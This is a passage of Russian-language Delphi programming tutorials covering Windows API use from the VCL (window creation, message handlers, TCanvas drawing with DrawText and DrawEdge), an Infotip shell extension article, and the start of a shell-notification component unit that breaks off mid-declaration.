  lpParam: Pointer     // дополнительный параметр, передаваемый в
                       // оконную процедуру с сообщением WM_CREATE
): HWND; stdcall;

Функция CreateWindowEx позволяет задать конкретный вид окна и уточнить информацию, полученную от класса окна.

Сообщения
Сообщения – это базовый механизм информирования программ о событиях, на которые они должны реагировать. Ядром программы является функция обработки сообщений, зарегистрированная в классе окна, которая вызывается ядром Windows при появлении событий, на которые программа должна отреагировать. Получение сообщения окном означает вызов его оконной функции с параметрами, описывающими передаваемое сообщение. Например, сразу после создания окна оно получает сообщение WM_CREATE, при нажатии клавиш на клавиатуре – WM_KEYDOWN, WM_KEYUP, при перемещении мыши WM_MOUSEMOVE и т.п. Без обработки сообщений окно не сможет даже отрисовать себя – рисование выполняется по получению сообщений WM_PAINT, WM_NCPAINT. В программе, написанной с использованием только WinAPI, функция обработки сообщений обычно представляет собой оператор case, альтернативами которого являются различные сообщения, которые эта функция должна обработать.

TWinControl – оболочка окна Windows
Программирование создания окон и цикла обработки сообщений вручную является непростой и довольно низкоуровневой задачей. VCL реализует классы, позволяющие избежать возникающих при этом сложностей.
Базовым классом, инкапсулирующим окно Windows, является TWinControl. При создании экземпляра наследника этого класса, VCL автоматически регистрирует соответствующий класс окна Windows и создает окно. Благодаря этому, наследники TWinControl могут содержать в себе другие окна и обрабатывать сообщения Windows. Визуальные компоненты, не являющиеся наследниками TWinControl (такие, как TLabel, TSpeedButton) не являются окнами в понимании Windows. Все их события эмулируются компонентом, в который они помещены.
Свойство Handle
Центральным свойством компонента TWinControl является свойство Handle. Это свойство представляет идентификатор окна Windows, полученного при создании этого компонента. Этот идентификатор можно использовать с любыми функциями Windows API, работающими с окнами. Например, следующий код прокручивает текст в TMemo на одну строку вниз:

procedure TForm1.Button1Click(Sender: TObject);
begin
  PostMessage(Memo1.Handle, WM_VSCROLL, SB_LINEDOWN, 0);
end;

Метод CreateParams
Перед созданием окна TWinControl вызывает виртуальный метод CreateParams, позволяя программисту задать низкоуровневые параметры создаваемого окна. В процедуру передается структура данных

TCreateParams = record
  Caption: PChar;     // Заголовок окна, соответствует параметру
                      // lpWindowName
  Style: Longint;     // Стиль окна, соответствует параметру dwStyle
  ExStyle: Longint;   // Расширенный стиль окна (dwExStyle)
  X, Y: Integer;
  Width, Height: Integer; // Координаты окна
  WndParent: HWND;    // Идентификатор окна-владельца (hWndParent)
  Param: Pointer      // Дополнительный параметр (lpParam)
  WindowClass: TWndClass;  // Структура TWndClass, позволяющая задать
                           // параметры класса окна
  WinClassName: array[0..63] of Char; // Имя класса окна
                                      // (lpClassName)
end;

Наследники TWinControl могут перекрыть CreateParams, создавая окна с требуемыми внешним видом и поведением. Например, требуется создать форму, не имеющую заголовка, однако позволяющую изменять свои размеры. Delphi не предоставляет возможности задать такое поведение визуальными средствами, однако, перекрыв TForm.CreateParams мы легко добиваемся нужного эффекта:

procedure TForm1.CreateParams(var Params: TCreateParams);
begin
  inherited; // Вызываем унаследованный обработчик, позволяя
             // VCL подготовить «типовую» конфигурацию окна
  with Params do
    // И изменяем требуемые параметры
    Style := Style and (not WS_CAPTION) or WS_THICKFRAME or WS_POPUP;
end;

В качестве упражнения рекомендую посмотреть на некоторые фрагменты реализации класса TWinControl, расположенного в модуле Controls.pas. Хорошо видно, что метод CreateWnd сначала вызывает метод CreateParams, заполняющий структуру WndClass с параметрами класса окна и параметры для CreateWindow, а затем регистрирует класс и создает окно. Также очень показателен метод TCustomForm.CreateParams, расположенный в модуле Forms.pas. Хорошо видно, как по свойствам Position, BorderIcons и FormStyle формируется набор флагов стиля окна для функции CreateWindow.

Обработка сообщений
Каждое окно Windows должно обрабатывать сообщения. VCL берет на себя работу по организации цикла сообщений и их базовой обработке. Для большинства сообщений Windows, которые должно обрабатывать окно, уже предусмотрена обработка «по умолчанию». Сообщения, требующие специфической обработки, приводят к вызовам функций-обработчиков событий, например:

WM_MOUSEMOVE   OnMouseMove
WM_LBUTTONDOWN, WM_RBUTTONDOWN   OnMouseDown
WM_LBUTTONUP, WM_RBUTTONUP   OnMouseUp
WM_LBUTTONDBLCLK   OnDblClick
WM_KEYDOWN   OnKeyDown
WM_KEYUP   OnKeyUp
WM_PAINT   OnPaint

И так далее. Показателен в этом смысле метод WndProc класса TWinControl или его наследников. При этом VCL перед вызовом обработчиков производит «упаковку» параметров сообщений в удобный для обработки и анализа вид. Понимание, какое сообщение Windows вызывает срабатывание того или иного события VCL очень помогает при программировании обработчиков и совершенно необходимо при написании собственных компонентов. Разумеется, предусматривать отдельные обработчики для всех из сотен сообщений, которые могут поступить в окно – значит неоправданно усложнить код VCL. Поэтому для обработки остальных сообщений синтаксис Object Pascal предусматривает создание процедур-обработчиков сообщений. Такие процедуры объявляются как

procedure WMSize(var Message: TWMSize); message WM_SIZE;

В качестве параметра такая функция получает указатель на структуру TMessage, содержащую информацию о сообщении, переданном окну. Для многих часто используемых сообщений в модуле Messages.pas определены структуры, позволяющие более удобно работать с конкретными сообщениями.
Рассмотрим пример окна, обрабатывающего сообщение, не предусмотренное VCL. В качестве сообщения используем WM_HOTKEY. Это сообщение посылается окну, при нажатии зарегистрированной в Windows «горячей клавиши», что позволяет программе реагировать на эту клавишу, даже не имея фокуса ввода.

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    // объявляем процедуру-обработчик
    procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY;
  end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  // Регистрируем "горячую клавишу" Ctrl+Alt+F5
  RegisterHotKey(Handle, 0, MOD_CONTROL or MOD_ALT, VK_F5);
end;

procedure TForm1.WMHotKey(var Msg: TWMHotKey);
begin
  // Эта процедура вызывается при получении окном
  // сообщения WM_HOTKEY
  inherited;  // Даем форме обработать сообщение
              // если у неё уже есть его обработчик
  Beep;       // Выполняем дополнительные действия
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  // Отменяем регистрацию "горячей клавиши"
  UnRegisterHotKey(Handle, 0);
end;

Обращаю внимание на вызов унаследованного обработчика в методе WMHotKey. Если Вы не уверены, что хотите запретить обработку предком подобного сообщения – всегда вызывайте унаследованный обработчик. В противном случае, Вы рискуете помешать VCL обрабатывать сообщения. Например, написав свой обработчик WM_PAINT и не вызвав в нем унаследованный Вы полностью заблокируете перерисовку формы средствами VCL.

Свойства Controls и Parent
Каждый наследник TWinControl может служить контейнером для других компонентов. Для связи между родительским и дочерними компонентами служат свойства Controls и Parent. Каждый визуальный компонент имеет свойство Parent, ссылающееся на оконный компонент, являющийся его владельцем. До тех пор, пока не установлено это свойство, компонент не может обрабатывать сообщения Windows и отображаться на экране. Окно-предок ведет список вставленных в него компонентов, доступ к которому можно получить при помощи его свойства Controls.

TForm – просто окно
Delphi вводит новую для Windows концепцию – форма. Такого понятия нет в Windows, однако оно довольно часто встречается в высокоуровневых средствах разработки. Форма инкапсулирует окно верхнего уровня (top-level window), которое служит контейнером для остальных визуальных элементов программы. С точки зрения Windows – это такое же окно, как и все остальные, только с соответствующим образом подобранным набором стилей. В частности, на этом уровне реализована поддержка главного меню, управление дочерними окнами (MDI). Как и любое окно TForm имеет свойство Handle, которое может быть использовано в вызовах Windows API. Например, следующий код создает форму в виде пятиконечной звезды:

procedure TForm1.FormCreate(Sender: TObject);
const
  Points: packed array [1..10] of TPoint =
   ((X:50; Y:0), (X:63; Y:33), (X:100; Y:33), (X:72; Y:55),
    (X:90; Y:100), (X:50; Y:72), (X:10; Y:100), (X:28; Y:55),
    (X:0; Y:33), (X:37; Y:33));
begin
  BorderStyle := bsNone;
  Brush.Color := clRed;
  SetWindowRgn(Handle, CreatePolygonRgn(Points, 10, WINDING), TRUE);
end;

Концепция форм помогает разработчику в управлении окнами верхнего уровня, однако многие её понятия (например, главное окно приложения, список окон (Screen.Forms)) не имеет прямых аналогов в Windows API.

Графика
Программы Windows не имеют возможности прямого вывода информации на экран. Вместо этого, программа, желающая что-либо нарисовать в своем окне должна вызвать одну из функций Windows API, предназначенных для рисования. Такой подход позволяет Windows обеспечить одновременную «жизнь» на одном экране нескольких программ, каждая из которых выводит в своем окне произвольную информацию. Вопросы отсечения информации невидимых участков окон и взаимодействия с конкретным драйвером графического устройства ложатся на операционную систему.

Графическая подсистема Windows
Базовым понятием графической подсистемы Windows является контекст графического устройства – внутренняя структура, определяющая набор графических объектов, их атрибутов и графических режимов, которые могут повлиять на вывод информации. Контекст может быть связан с различными устройствами, такими, как дисплей, принтер, изображение в памяти, что позволяет использовать одни и те же функции для вывода информации на любое из этих устройств. Разумеется, при этом необходимо учитывать возможности конкретного устройства, такие как разрешение или поддерживаемый набор цветов.
Типичный сценарий вывода информации в Windows выглядит следующим образом:
Получить контекст устройства
  Сформировать графические объекты с требуемыми аттрибутами,
    такие как шрифт, кисть
  «Включить» объекты в контекст, возможно сохранив при этом старые
    объекты
  Установить аттрибуты контекста (режим заполнения и т.п.), сохранив
    старые аттрибуты
  Используя функции рисования вывести информацию на устройство
  Восстановить аттрибуты контекста
  Восстановить графические объекты
  Освободить созданные временые графические объекты
Освободить контекст устройства
Хорошо видно, что собственно вывод информации занимает далеко не главную часть в общем объеме кода. Большая часть времени уходит на создание, сохранение и восстановление графических объектов. При этом нередки трудно находимые ошибки, приводящие к утечке ресурсов из за не освобожденных объектов.

Класс TCanvas
VCL предлагает элегантное решение проблемы, описанной в предыдущем разделе – класс TCanvas, инкапсулирующий контекст графического устройства Windows. Вместе с вспомогательными классами TFont, TBrush и т.д., реализующими графические объекты этот класс берет на себя всю работу, связанную с получением и освобождением контекстов устройства его атрибутов и графических объектов. Когда Вы меняете, например, свойства кисти (Canvas.Bush) – TCanvas автоматически создаст новую кисть с нужными атрибутами и включит её в свой контекст, а старую – корректно удалит. Наряду с этим, TCanvas реализует ряд методов, позволяющих рисовать на нем без указания контекста устройства. В итоге – программист может вообще не знать ничего о том, как работает графическая подсистема Windows, используя только методы TCanvas. Все классы VCL, допускающие рисование имеют свойство Canvas, указывающее на автоматически создаваемый экземпляр TCanvas, связанный с ним

Использование Windows API с TCanvas
Реализовать в TCanvas все функции рисования Windows нереально, т.к. это приведет к резкому усложнению кода VCL. Однако, TCanvas имеет свойство Handle, которое представляет идентификатор графического контекста Windows, ассоциированного с экземпляром класса. Используя его мы можем задействовать все многообразие функций API, предназначенных для рисования. При этом всю работу по установке атрибутов и недопущению утечки ресурсов можно оставить на реализацию TCanvas.
Рассмотрим наиболее употребимые функции Windows API, которые могут быть использованы для рисования.
DrawText
Функция DrawText объявлена как:

function DrawText(
  hDC: HDC;          // Контекст графического устройства
                     // (TCanvas.Handle)
  lpString: PChar;   // Строка для вывода на экран
  nCount: Integer;   // Количество символов в строке, если строка
                     // имеет нуль-терминатор – можно передать -1
  var lpRect: TRect; // Прямоугольник, в котором будет отрисована
                     // строка
  uFormat: UINT      // Флаги форматирования.
): Integer; stdcall; // Функция возвращает высоту текста в пикселях

Эта функция имеет широкие возможности по форматированию текста, задаваемые параметром uFormat. Этот параметр представляет собой набор битовых флагов, задающих способ выравнивания и дополнительные операции над текстом.
Рассмотрим некоторые из этих флагов:
DT_SINGLELINE Текст выводится в одну строку, игнорируя символы перевода строки и возврата каретки. С этим флагом могут комбинироваться DT_TOP, DT_BOTTOM и DT_VCENTER, задающие вертикальное выравнивание текста.
DT_WORDBREAK Текст разбивается на строки так, чтобы он поместился по ширине в прямоугольнике lpRect. Символы возврата каретки и перевода строки также приводят к переходу на новую строку.
DT_LEFT DT_CENTER DT_RIGHT Выравнивает выводимый текст по левому краю, по центру или по правому краю.
DT_END_ELLIPSIS Если строка не помещается в lpRect её конец заменяется на три точки. Бывает удобно использовать для вывода полей, имеющих значительную длину.
DT_PATH_ELLIPSIS Используется с путями, содержащими символ '\'. Если строка не помещается в lpRect – часть её из середины заменяется на три точки.
Также, эта функция может использоваться для расчета высоты или ширины области, занимаемой текстом. Для этого, наряду с остальными флагами форматирования надо добавить флаг DT_CALCRECT. Если выводится одна строка текста, то DrawText изменяет lpRect.Right так, чтобы он вместил всю эту строку, если несколько строк (DT_WORDBREAK) – то изменяется lpRect.Bottom так, чтобы полученный прямоугольник вместил весь текст.
Рассмотрим в качестве примера создание списка, содержащего 2 колонки. Первая из них содержит номер позиции, вторая – сопроводительный текст, высота которого может изменяться. Для создания такого списка разместим на форме TListBox, установив его свойство Style в lbOwnerDrawVariable. После этого создадим следующие обработчики событий:

procedure TForm1.FormCreate(Sender: TObject);
begin
  with ListBox1.Items do begin
    // Заполняем список
    Add('Первая позиция');
    Add('Вторая позиция. Её описание имеет значительную длину');
    Add('Третья позиция'#13'В ней'#13'имеются переводы строки');
    Add('Четвертая позиция');
  end;
end;

procedure TForm1.ListBox1MeasureItem(Control: TWinControl;
  Index: Integer; var Height: Integer);
var
  R: TRect;
begin
  // Заполняем R, оставив 20 пикселов для первой колонки
  // и 4 пиксела для учета рамки компонента
  R := Rect(20, 0, ListBox1.Width-4, Height);
  // И вычисляем высоту прямоугольника, требуемую
  // для вывода всего текста
  Height := DrawText(ListBox1.Canvas.Handle,
    PChar(ListBox1.Items[Index]), -1, R,
    DT_CALCRECT or DT_WORDBREAK);
end;

procedure TForm1.ListBox1DrawItem(Control: TWinControl;
  Index: Integer; Rect: TRect; State: TOwnerDrawState);
begin
  with ListBox1 do begin
    // Очищаем зону рисования
    Canvas.FillRect(Rect);
    // Выводим номер позиции, центрируя его по вертикали
    DrawText(Canvas.Handle, PChar(IntToStr(Index + 1)), -1, Rect,
      DT_VCENTER or DT_SINGLELINE);
    // Получаем зону для вывода остального текста
    Inc(Rect.Left, 20);
    // И выводим его
    DrawText(Canvas.Handle, PChar(Items[Index]), -1, Rect,
      DT_WORDBREAK);
  end;
end;

DrawEdge
Функция DrawEdge ,бывает очень полезна при написании собственных компонентов. Она автоматизирует задачу рисования трехмерных кнопок, рамок и т.п. Функция объявлена как:

function DrawEdge(
  hdc: HDC;        // Графический контекст
  var qrc: TRect;  // Координаты рамки
  edge: UINT;      // Тип рамки
  grfFlags: UINT   // Тип бордюра
): BOOL; stdcall;

Рамка рисуется в виде комбинации из двух прямоугольников – внутреннего (inner) и внешнего (outer). Каждый из них может быть выпуклым (raised), либо вдавленным (sunken). Тип рамки определяется параметром edge, который представляет собой битовую маску из следующих значений:
BDR_RAISEDINNER BDR_SUNKENINNER Задают выпуклый, либо вдавленный внутренний контур
BDR_RAISEDOUTER BDR_SUNKENOUTER Задают выпуклый, либо вдавленный внешний контур
Также имеются предопределенные флаги
EDGE_BUMP – выпуклая рамка
EDGE_ETCHED - вдавленная рамка
EDGE_RAISED – выпуклая кнопка
EDGE_SUNKEN – вдавленная кнопка
Параметр grfFlags определяет тип бордюра. Это набор следующих флагов
BF_BOTTOM BF_TOP BF_LEFT BF_RIGHT Рисуется соответствующая сторона рамки.
BF_BOTTOMLEFT BF_BOTTOMRIGHT BF_TOPLEFT BF_TOPRIGHT Рисуется соответствующий угол
BF_RECT Рисуется вся рамка
BF_DIAGONAL BF_DIAGONAL_ENDBOTTOMLEFT BF_DIAGONAL_ENDBOTTOMRIGHT BF_DIAGONAL_ENDTOPLEFT BF_DIAGONAL_ENDTOPRIGHT Рисует бордюр по диагонали. Используется для создания кнопок, разбитых по диагонали на две секции
BF_FLAT BF_SOFT Позволяют получить «плоские» кнопки для создания интерфейса в стиле Office 97
BF_MONO Рисует одномерную рамку
BF_MIDDLE «Заливает» внутреннюю область рамки текущей кистью
BF_ADJUST Корректирует qrc так, что после отрисовки он соответствует внутренней области рамки. Удобно для дальнейшего рисования.
Комбинируя флаги в зависимости от текущих свойств компонента можно достаточно просто организовать отрисовку кнопок, реагирующих на различные действия пользователя. Например:

procedure TMyButton.Paint;
var
  Rect: TRect;
  Flags: UINT;
  Edge: UINT;
begin
  Rect := Bounds(Left, Right, Width, Height);
  Flags := BF_RECT or BF_MIDDLE or BF_ADJUST;
  if not Ctl3D then
    Flags := Flags or BF_MONO;
  if Flat then
    Flags := Flags or BF_FLAT;
  if Pressed then
    Edge := EDGE_RAISED
  else
    Edge := EDGE_SUNKEN;
  with Canvas do begin
    DrawEdge(Handle, Rect, Edge, Flags);
    DrawText(Handle, PChar(Caption), -1, Rect,
      DT_SINGLELINE or DT_VCENTER)
  end;
end;

Резюме
Таким образом, Delphi, позволяя программисту не вдаваться в тонкости реализации Windows API, в то же время не изолирует программиста от него, предоставляя ему возможность в любой момент взять управление программой в свои руки и добиться от программы именно того поведения, которое требуется для решения каждой конкретной задачи. Грамотное использование возможностей API позволяет писать более компактные и быстродействующие программы, а зачастую – и сократить объем кода, необходимый для решения задачи. Для того чтобы иметь такую возможность, программист должен понимать, что лежит за классами и функциями VCL и каким объектам Windows они соответствуют.

Тенцер А. Л.
ICQ UIN 15925834
tolik@katren.nsk.ru


Расширения оболочки Windows

С каждой новой версией Windows, её оболочка (shell) приобретает всё больше и больше различных возможностей. Обычно эти возможности добавляются через расширения оболочки, которые позволяют разработчикам добавлять различные возможности в существующую оболочку Windows. Вот некоторые примеры расширений оболочки: Context Menus (меню, зависящее от объекта, на котором кликнули правой кнопкой мыши), Property Sheet Handlers (страницы в виде закладок, которые появляются в случае выбора пункта контексного меню Properties), Folder Customization, и т.д.
На сайте Microsoft доступно большое количество информации о расширениях оболочки, но эта информация мало полезна Delphi аудитории. Итак давайте рассмотрим расширение оболочки под названием "Всплывающие подсказки" (InfoTip), которые появляются в эксплорере, при наведении мышкой на файл.
Расширения оболочки – Краткий обзор
Расширения оболочки существуют в виде In Process COM серверов. В ответ на определённые события оболочки проводник вызывает соответствующее расширение. Проводник очень специфически реагирует на различные функции в пределах оболочки. Первое, что делает Проводник - это проверяет модули, которые были зарегистрированы для определённого события и, если таковой существует, то загружает данный модуль.
Чтобы быть расширением оболочки, COM сервер должен включать в себя интерфейс, который определяет специфическое поведение для данного расширения, а так же он должен включать в себя интефейс инициализации. Наконец, чтобы быть расширением оболочки, COM сервер должен следовать определённым в системе методам регистрации.
Следующая таблица представляет собой список всех существующих на сегодняшний день расширений оболочки, а так же их минимальных версий, учавствующих интерфейсов и их описаний:
Тип | Добавлено в | Версия | Используемые интерфейсы | Описание
Context Menu | File class and shell’s object | Windows 95+ | IContextMenu, IContextMenu2, или IContextMenu3 | Позволяет добавлять новые пункты в контекстное меню объекта оболочки.
Right Drag and Drop | File class and shell’s object | Windows 95+ | IContextMenu, IContextMenu2, или IContextMenu3 | Позволяет добавлять новые пункты в контекстное меню, при перетаскивании правой кнопкой мыши и отпускании файлов.
Drawing Shell Icons | File class and shell’s object | Windows 95+ | IExtractIcon | Позволяет решить в данный момент, какая будет отображаться иконка для данного файла.
Property Sheet | File class and shell’s object | Windows 95+ | IShellPropSheetExt | Позволяет добавлять дополнительные страницы property sheet в диалог свойств файла. Так же это работает для Панели управления.
Left Drag and Drop | File class and shell’s object | Windows 95+ | IDropTarget | Позволяет решать - что делать с перетаскиваемым объектом (используя левую кнопку мыши) на другой объект в оболочке.
Clipboard | File class and shell’s object | Windows 95+ | IDataObject | Позволяет Вам определить, как объект скопирован и извлечён из буфера обмена.
File Hook |  | Windows 95+ | ICopyHook | Позволяет контролировать некоторые файловые операции, которые происходят черех оболочку. Вы можете разрешить или запретить их, но Вы не сможете получать уведомление об успешности операции или об ошибке.
Program Execution | Explorer | Desktop Update | IShellExecuteHook | Позволяет перехватывать некоторые выполнения программ, которые происходят через оболочку.
Infotip | File class and shell’s object | Desktop Update | IQueryInfo | Позволяет отображать короткие текстовые сообщения, когда курсор мышки находится на определённом файле.
Column | Folders | Windows 2000 | IColumnProvider | Позволяет добавлять новую колонку в режиме отображения Details в Проводнике.
Icon Overlay | Explorer | Windows 2000 | IShellIconOverlay | Позволяет определить собственные изображения, которые будут использоваться как иконки.
Search | Explorer | Windows 2000 | IContextMenu | Позволяет добавить новую ячейку в меню "Найти" (в меню, открывающемся при нажатии на "Пуск").
Cleanup | Cleanup Manager | Windows 2000 | IEmptyVolumeCache2 | Позволяет добавить новую ячейку в Менеджер Очистки для восстановления дискового пространства.

Всплывающие подсказки – Введение и обзор

Infotip-ы это всплывающие окна подсказки, которые появляются в случае, если курсор мышки находится над любым файлом. Если расширения для файла не было зарегистрировано, то будет высвечиваться окошко с подсказкой по умолчанию, однако Вы можете создать своё собственно расширение для отображения информации об определённом типе файла. Например, Office 2000 инсталирует обработчики для MS Word и MS Excel, которые отображают Имя, Автора и заголовок из свойств документа. Расширения Infotip отличаются от других расширений оболочки по регистрации. Об этом мы поговорим позже, когда перейдём к регистрации нашего расширения Infotip.

Implementing Infotip Extensions

Расширение Infotip является In-Process (Inproc) COM Server. Это значит, что Infotip является обыкновенной Windows DLL, которая экспортирует необходимые методы, чтобы быть как обыкновенным элементом управления ActiveX. Расширение Infotip так же включает IQueryInfo и IPersistFile и должна самостоятельно регистрировать себя в реестре. В виду того, что IQueryInfo и IPersistFile являются интерфейсами, то они не содержат исходного кода своих методов. Поэтому наш объект включает в себя каждый метод, определённый в обоих интерфейсах; однако, некоторые из методов не являются необходимыми для нашего расширения Infotip, поэтому мы просто возвращаем E_NOTIMPL, чтобы показать, что они не осуществимы.

IQueryInfo обеспечивает отображение текста во всплывающем окошке и содержит два метода: GetInfoFlags – Получает информационные флаги. На текущий момент это метод не используется, поэтому возвращаем E_NOTIMPL. GetInfoTip – Получает текст Infotip-а.

GetInfoTip определена следующим образом:

function GetInfoTip(dwFlags: DWORD; var ppwszTip: PWideChar): HResult; stdcall;

dwFlags
в данный момент не используется
ppwszTip
Адрес указателя на строку Unicode, кото string pointer that receives the tip string pointer.

Важное замечание

Параметр ppwszTip метода GetInfoTip - это указатель на строковый буфер Unicode, который содержит текст, отображаемый в всплывающем информационном поле. Этот буфер должен быть распределен, используя стандартную программу распределения памяти оболочки, потому что буфер распределен нашим приложением, но освобожден оболочкой. Чтобы быть уверенным, что всё пройдёт успешно, используйте SHGetMalloc для получения указателя на программу распределения памяти оболочки - объект IMalloc. Затем используйте метод Alloc из IMalloc-а для распределения необходимой памяти для буфера содержащего Unicode представление текста Infotip.

Исходник содержит стандартный код, который Вы можете использовать для всех расширений Infotip, которые Вы создадите.

IPersistFile это то, при помощи чего оболочка обеспечивает расширение информацией о файле, на котором находится курсор. В интерфейсе определены пять методов:

IsDirty
проверяет объект на предмет изменений, сделанных в текущем файле. Наше расширение не требует данного метода, поэтому возвращаем E_NOTIMPL.
Load
открывает указанный файл и инициализирует объект из содержимого файла. Мы будем использовать этот метод для получения имени файла, на котором находится курсор.
Save
сохраняет объект в указанном файле. Мы его не используем и возвращаем E_NOTIMPL.
SaveCompleted
уведомляет объект, о том, что он может быть переведён из режима NoScribble в режим Normal. Не используем, поэтому возвращаем E_NOTIMPL.
GetCurFile
получает текущее имя файла, связанного с объектом. Тоже возвращаем E_NOTIMPL.

Load определена следующим образом:

function Load(pszFileName: PoleStr; dwMode: LongInt): HResult; stdcall;

pszFileName
указатель на строку, содержащую абсолютный путь открываемого файла. Строка должна завершаться нулём.
dwMode
содержит набор атрибутов для открытия файла.

Чтобы получить имя файла и его путь, мы будем использовать только IPersistFile; фактически мы не используем интерфейс для доступа к файлу, поэтому игнорируем флаги. Стандартная реализация метода Load сохраняет содержимое pszFileName в приватную переменную, которая будет использоваться в IQueryInfo::GetInfoTip для расположения файла.

Регистрация расширения Infotip

Регистрация происходит в два этапа:

1. При помощи regsvr32.exe регистрируется COM DLL (Пуск (Start)..Выполнить(Run))

regsvr32 "C:\...\DPRInfoTip.dll"

2. Добавление ссылки на расширение (.dpr) в ключ реестра HKEY_CLASSES_ROOT.

По умолчанию значение для нового ключа должно быть CLSID объекта COM, который содержит расширение оболочки. Данное значение можно получить из файла Type Library, который был сгенерирован Delphi (имя файла оканчивается на "_TLB.pas"). Для нашего примера расширения CLSID назван CLASS_DPRInfoTip и содержит значение "{B20433A8-D083-11D4-993A-00D00912C440}".

Самый простой способ внести изменения в реестр - это сделать копию файла .REG, содержащуюся в исходниках проекта. Просто измените CLSID и расширение файла на необходимые значения.

Одно важное замечание:

Если Вы регистрируете расширение оболочки в Windows NT или 2000, то необходимо войти в систему с правами администратора.


Получение уведомлений от оболочки (Shell)

Пример показывает - как можно отслеживать практически все события происходящий в Вашей оболочке. Код находится в процессе разработки, но уже содержит в себе большое количество возможностей.

{$IFNDEF VER80} {$IFNDEF VER90} {$IFNDEF VER93}
{$DEFINE Delphi3orHigher}
{$ENDIF} {$ENDIF} {$ENDIF}

unit ShellNotify;

interface

uses
  Windows, Messages, SysUtils, Classes, Controls, Forms, Dialogs,
  {$IFNDEF Delphi3orHigher} OLE2, {$ELSE} ActiveX, ComObj, {$ENDIF}
  ShlObj;

type
  NOTIFYREGISTER = record
    pidlPath : PItemIDList;
    bWatchSubtree : boolean;
end;

PNOTIFYREGISTER = ^NOTIFYREGISTER;

const
  SNM_SHELLNOTIFICATION = WM_USER +1;
  SHCNF_ACCEPT_INTERRUPTS = $0001;
  SHCNF_ACCEPT_NON_INTERRUPTS = $0002;
  SHCNF_NO_PROXY = $8000;

type
  TNotificationEvent = (neAssociationChange, neAttributesChange,
    neFileChange, neFileCreate, neFileDelete, neFileRename,
    neDriveAdd, neDriveRemove, neShellDriveAdd, neDriveSpaceChange,
    neMediaInsert, neMediaRemove, neFolderCreate, neFolderDelete,
    neFolderRename, neFolderUpdate, neNetShare, neNetUnShare,
    neServerDisconnect, neImageListChange);
  TNotificationEvents = set of TNotificationEvent;

  TShellNotificationEvent1 = procedure(Sender: TObject;
    Path: string)of object;
  TShellNotificationEvent2 = procedure(Sender: TObject;
    path1, path2: string) of object;
  // TShellNotificationAttributesEvent = procedure(Sender: TObject;
  // OldAttribs, NewAttribs: Integer) of Object;

  TShellNotification = class( TComponent )
    private
      fWatchEvents: TNotificationEvents;
      fPath: string;
      fActive, fWatch: Boolean;

      prevPath1, prevPath2: string;
      PrevEvent: Integer;

      Handle, NotifyHandle: HWND;

      fOnAssociationChange: TNotifyEvent;
      fOnAttribChange: TShellNotificationEvent2;
      FOnCreate: TShellNotificationEvent1;
      FOnDelete: TShellNotificationEvent1;
      FOnDriveAdd: TShellNotificationEvent1;
      FOnDriveAddGui: TShellNotificationEvent1;
      FOnDriveRemove: TShellNotificationEvent1;
      FOnMediaInsert: TShellNotificationEvent1;
      FOnMediaRemove: TShellNotificationEvent1;
      FOnDirCreate: TShellNotificationEvent1;
      FOnNetShare: TShellNotificationEvent1;
      FOnNetUnShare: TShellNotificationEvent1;
      FOnRenameFolder: TShellNotificationEvent2;
      FOnItemRename: TShellNotificationEvent2;
      FOnFolderRemove: TShellNotificationEvent1;
      FOnServerDisconnect: TShellNotificationEvent1;
      FOnFolderUpdate: TShellNotificationEvent1;

      function PathFromPidl(Pidl: PItemIDList): string;
      procedure SetWatchEvents(const Value: TNotificationEvents);
      function GetActive: Boolean;
      procedure SetActive(const Value: Boolean);
      procedure SetPath(const Value: string);
      procedure SetWatch(const Value: Boolean);
    protected
      procedure ShellNotifyRegister;
      procedure ShellNotifyUnregister;
      procedure WndProc(var message: TMessage);

      procedure DoAssociationChange; dynamic;
      procedure DoAttributesChange(Path1, Path2: string); dynamic;
      procedure DoCreateFile(Path: string); dynamic;
      procedure DoDeleteFile(Path: string); dynamic;
      procedure DoDriveAdd(Path:string); dynamic;
      procedure DoDriveAddGui(Path: string); dynamic;
      procedure DoDriveRemove(Path: string); dynamic;
      procedure DoMediaInsert(Path: string); dynamic;
      procedure DoMediaRemove(Path: string); dynamic;
      procedure DoDirCreate(Path: string); dynamic;
      procedure DoNetShare(Path: string); dynamic;
      procedure DoNetUnShare(Path: string); dynamic;
      procedure DoRenameFolder(Path1, Path2: string); dynamic;
      procedure DoRenameItem(Path1, Path2: string); dynamic;
      procedure DoFolderRemove(Path: string); dynamic;
      procedure DoServerDisconnect(Path: string); dynamic;
      procedure DoDirUpdate(Path: string); dynamic;
    public
      constructor Create(AOwner: TComponent); override;
      destructor Destroy; override;
    published
      property Path: string read fPath write SetPath;
      property Active: Boolean read GetActive write SetActive;
      property WatchSubTree: Boolean read fWatch write SetWatch;

      property WatchEvents: TNotificationEvents
      read fWatchEvents write SetWatchEvents;

      property OnAssociationChange: TNotifyEvent
      read fOnAssociationChange write FOnAssociationChange;

      property OnAttributesChange: TShellNotificationEvent2
      read fOnAttribChange write fOnAttribChange;

      property OnFileCreate: TShellNotificationEvent1
      read FOnCreate write FOnCreate;

      property OnFolderRename: TShellNotificationEvent2
      read FOnRenameFolder write FOnRenameFolder;

      property OnFolderUpdate: TShellNotificationEvent1
      read FOnFolderUpdate write FOnFolderUpdate;

      property OnFileDelete: TShellNotificationEvent1
      read FOnDelete write FOnDelete;

      property OnDriveAdd: TShellNotificationEvent1
      read FOnDriveAdd write FOnDriveAdd;

      property OnFolderRemove: TShellNotificationEvent1
      read FOnFolderRemove write FOnFolderRemove;

      property OnItemRename: TShellNotificationEvent2
      read FOnItemRename write FOnItemRename;

      property OnDriveAddGui: TShellNotificationEvent1
      read FOnDriveAddGui write FOnDriveAddGui;

      property OnDriveRemove: TShellNotificationEvent1
      read FOnDriveRemove write FOnDriveRemove;

      property OnMediaInserted: TShellNotificationEvent1
      read FOnMediaInsert write FOnMediaInsert;

      property OnMediaRemove: TShellNotificationEvent1
      read FOnMediaRemove write FOnMediaRemove;

      property OnDirCreate: TShellNotificationEvent1
      read FOnDirCreate write FOnDirCreate;

      property OnNetShare: TShellNotificationEvent1
      read FOnNetShare write FOnNetShare;

      property OnNetUnShare: TShellNotificationEvent1
      read FOnNetUnShare write FOnNetUnShare;

      property OnServerDisconnect: TShellNotificationEvent1
      read FOnServerDisconnect write FOnServerDisconnect;
end;

function SHChangeNotifyRegister( hWnd: HWND; dwFlags: integer;
